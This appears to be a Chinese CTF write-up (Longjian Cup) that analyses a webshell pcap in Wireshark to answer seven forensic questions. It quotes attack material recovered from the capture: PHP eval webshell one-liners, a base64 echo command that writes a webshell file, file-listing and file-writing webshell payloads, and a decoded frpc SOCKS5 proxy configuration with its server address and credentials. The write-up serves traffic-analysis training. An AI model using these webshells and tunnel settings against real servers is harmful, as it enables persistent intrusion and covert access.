陇剑杯 流量分析 webshell CTF writeup

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: 陇剑杯 流量分析 webshell CTF writeup

陇剑杯 流量分析

链接:https://pan.baidu.com/s/1KSSXOVNPC5hu_Mf60uKM2A?pwd=haek 
提取码:haek
目录结构
LearnCTF
├───LogAnalize
│   ├───linux简单日志分析
│   │       linux-log_2.zip
│   │
│   ├───misc日志分析
│   │       access.log
│   │
│   ├───misc简单日志分析
│   │       app.log
│   │
│   ├───sql注入分析
│   │       SQL.zip
│   │
│   └───windows日志分析
│           security-testlog_2.zip
└───TrafficAnalize
    ├───ios
    │       ios.zip
    └───webshell
            hack.pcap
 本篇内容题目在 TrafficAnalize -> webshell 中

0x01webshell

webshell1

黑客攻击了我的网站,不过我记录了之前发生的流量,请帮忙分析流量回答webshell1-7

webshell1: 黑客登录系统使用的密码是_____________。

whireshark打开.pcap文件

查询语句

http.request.method == "POST"

登录业务的用户名和密码大多使用post方法传递

不难看出用户名和密码

webshell2

webshell-2: 黑客修改了一个日志文件,文件的绝对路径为_____________。(请确认绝对路径后再提交)

/var/www/html/data/Runtime/Logs/Home/21_08_07.log

看两个点

  1. 写马
  2. linux apache 的默认路径

No.306

写了一个马

Form item: "tpl" = "<?php eval($_REQUEST[a]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

No.315又写了个ma

Form item: "tpl" = "<?php eval($_REQUEST[aaa]);phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>"

从RCE看ifconfig, pwd来看能确定受害机为Linux

No.329

Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d');"

一眼base64,看看是啥东西

<?php eval($_REQUEST[aaa]);?>

是个小马

No.332

Form item: "tpl" = "data/Runtime/Logs/Home/21_08_07.log"
Form item: "aaa" = "system('echo PD9waHAgZXZhbCgkX1JFUVVFU1RbYWFhXSk7Pz4=|base64 -d > /var/www/html/1.php');"

熟悉linux命令操作就能看出黑客修改了文件,通过1.php将马写入.log文件,这个修改的log的路径是个相对的路径,题目需要提交绝对路径

linux中apache的默认路径是/var/www/html拼接相对路径data/Runtime/Logs/Home/21_08_07.log即可

webshell3

webshell-3: 黑客获取webshell之后,权限是______?

看看黑客是什么权限

黑客使用whoami查看自己的权限

flag为www-data

webshell4

webshell-4: 黑客写入的webshell文件名是_____________。(请提交带有文件后缀的文件名,例如x.txt)

马在哪?1.php,黑客写向1.php写入马之后用webshell进行RCE当然要向1.php发送请求,因为1.php有马

webshell5

webshell-5: 黑客上传的代理工具客户端名字是_____________。(如有字母请全部使用小写)

No.332在1.php中写了马

No.347之后有一长段TCP加密数据包

所以No.332 到 No.346是考虑的重点

这一段数据包中有请求和响应

其中POST包中的aaa 键有代码

收集5段Php代码,看看写的是什么

1

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
  return $out;
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "bc"."0f2";
  echo @asenc($output);
  echo "f797e"."322e0";
}
ob_start();
try {
  $D=dirname($_SERVER["SCRIPT_FILENAME"]);
  if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
  $R="{$D}  ";
  if(substr($D,0,1)!="/") {
    foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
  } else {
    $R.="/";
  }
  $R.=" ";
  $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
  $s=($u)?$u["name"]:@get_current_user();
  $R.=php_uname();
  $R.=" {$s}";
  echo $R;
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

2

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
  return $out;
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "5a3"."dc6";
  echo @asenc($output);
  echo "12f"."968a";
}
ob_start();
try {
  $D=dirname($_SERVER["SCRIPT_FILENAME"]);
  if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
  $R="{$D}  ";
  if(substr($D,0,1)!="/") {
    foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
  } else {
    $R.="/";
  }
  $R.=" ";
  $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
  $s=($u)?$u["name"]:@get_current_user();
  $R.=php_uname();
  $R.=" {$s}";
  echo $R;
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

3

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
  return $out;
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "43d874"."d82ece";
  echo @asenc($output);
  echo "2cd"."697";
}
ob_start();
try {
  $D=base64_decode(substr($_POST["j68071301598f"],2));
  $F=@opendir($D);
  if($F==NULL) {
    echo("ERROR:// Path Not Found Or No Permission!");
  } else {
    $M=NULL;
    $L=NULL;
    while($N=@readdir($F)) {
      $P=$D.$N;
      $T=@date("Y-m-d H:i:s",@filemtime($P));
      @$E=substr(base_convert(@fileperms($P),10,8),-4);
      $R="  ".$T."  ".@filesize($P)." ".$E."
";
      if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
  }
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

4

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
  return $out;
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "28"."f72";
  echo @asenc($output);
  echo "f486"."11f4";
}
ob_start();
try {
  $f=base64_decode(substr($_POST["j68071301598f"],2));
  $c=$_POST["xa5d606e67883a"];
  $c=str_replace("\r","",$c);
  $c=str_replace("\n","",$c);
  $buf="";
  for ($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));
  echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

5

@ini_set("display_errors", "0");
@set_time_limit(0);
function asenc($out) {
  return $out;
}
;
function asoutput() {
  $output=ob_get_contents();
  ob_end_clean();
  echo "693"."d434";
  echo @asenc($output);
  echo "a3"."7cb";
}
ob_start();
try {
  $D=base64_decode(substr($_POST["j68071301598f"],2));
  $F=@opendir($D);
  if($F==NULL) {
    echo("ERROR:// Path Not Found Or No Permission!");
  } else {
    $M=NULL;
    $L=NULL;
    while($N=@readdir($F)) {
      $P=$D.$N;
      $T=@date("Y-m-d H:i:s",@filemtime($P));
      @$E=substr(base_convert(@fileperms($P),10,8),-4);
      $R="  ".$T."  ".@filesize($P)." ".$E."
";
      if(@is_dir($P))$M.=$N."/".$R; else $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
  }
  ;
}
catch(Exception $e) {
  echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

代码中以POST方法接收了字段j68071301598f的值,对值的前两位去掉再base64解码

数据包中恰好有几个j68071301598f的值,用base64解码看看写的是什么

base64加密值有两个

hML3Zhci93d3cvaHRtbC8=
FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==

将原始值前两位去掉,解出

/var/www/html/frpc.ini

.ini文件是个配置文件。类似的,php中有.user.ini作为配置文件,利用.user.ini也是ctf中的考点

frpc看上去比较陌生,搜一下,是个内网穿透工具,它会不会是黑客上传的代理工具客户端呢?

是的,它就是代理工具客户端

比较奇怪的是No.346是加密TCP前的最后一个HTTP响应包

响应的html内容就有frpc.ini,如果对frpc比较熟悉应当能直接看出吧

找到的数据包的内容是(copy不完整)

Frame 343: 1681 bytes on wire (13448 bits), 1681 bytes captured (13448 bits)
Null/Loopback
Internet Protocol Version 4, Src: 192.168.2.197, Dst: 192.168.2.197
Transmission Control Protocol, Src Port: 61922, Dst Port: 8081, Seq: 1, Ack: 1, Len: 1625
Hypertext Transfer Protocol
HTML Form URL Encoded: application/x-www-form-urlencoded
     [truncated]Form item: "aaa" = "@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_
        Key: aaa
        Value [truncated]: @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "28"."f72";echo @asenc($output);echo "f486"."11f4";}ob_start();try{$
    Form item: "j68071301598f" = "FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ=="
        Key: j68071301598f
        Value: FBL3Zhci93d3cvaHRtbC9mcnBjLmluaQ==
     [truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D
        Key: xa5d606e67883a
        Value [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

webshell6

webshell-6: 黑客代理工具的回连服务端IP是_______

上面得到了有关frpc.ini的数据包,在这个包中的一个POST参数(copy不完整)

[truncated]Form item: "xa5d606e67883a" = "5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D
    Key: xa5d606e67883a
    Value [truncated]: 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A

代码审计,发现代码中以POST接收了xa5d606e67883a的值

数据包中 xa5d606e67883a的值看起来是加密的,而且是变长加密,考虑加密方式是askii或hex(16进制)

变长加密还有URL编码和base64编码,观察它的特征,没有%不考虑URL编码,没有大写字母或等于号或最后以==结尾,不考虑base64编码

不考虑md5

不考虑unicode 因为没有/u或/x

5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A

解出

[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv
[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

一眼丁真

ip 是 192.168.239.123

webshell 7

webshell-7: 黑客的socks5的连接账号、密码是______。(中间使用#号隔开,例如admin#passwd):

上一题解出来了

一眼丁真

0HDFt16cLQJ#JTN276Gp

相关文章
|
11月前
|
SQL 编解码 网络安全
网络安全CTF流量分析-入门1-流量分析中的Sql注入
从分析Sql流量入门CTF流量分析
399 0
|
2月前
|
安全 网络协议 数据安全/隐私保护
陇剑杯 流量分析 CTF writeup
陇剑杯 流量分析 CTF writeup
|
9月前
|
网络协议
CTF流量分析
CTF流量分析
69 0
|
10月前
Potato土豆提权工具绕过防护思路-1
Potato土豆提权工具绕过防护思路-1
110 0
pikachu靶场通关秘籍之跨站请求伪造攻击
pikachu靶场通关秘籍之跨站请求伪造攻击
99 0
pikachu靶场通关秘籍之跨站请求伪造攻击
pikachu靶场通关秘籍之越权攻击
pikachu靶场通关秘籍之越权攻击
210 0
|
SQL 安全 关系型数据库
pikachu靶场通关秘籍之sql注入攻击
pikachu靶场通关秘籍之sql注入攻击
303 0
|
安全 PHP
pikachu靶场通关秘籍之文件上传攻击
pikachu靶场通关秘籍之文件上传攻击
261 0
|
JavaScript
pikachu靶场通关秘籍之跨站脚本攻击
pikachu靶场通关秘籍之跨站脚本攻击
111 0
pikachu靶场通关秘籍之敏感信息泄露攻击
pikachu靶场通关秘籍之敏感信息泄露攻击
186 0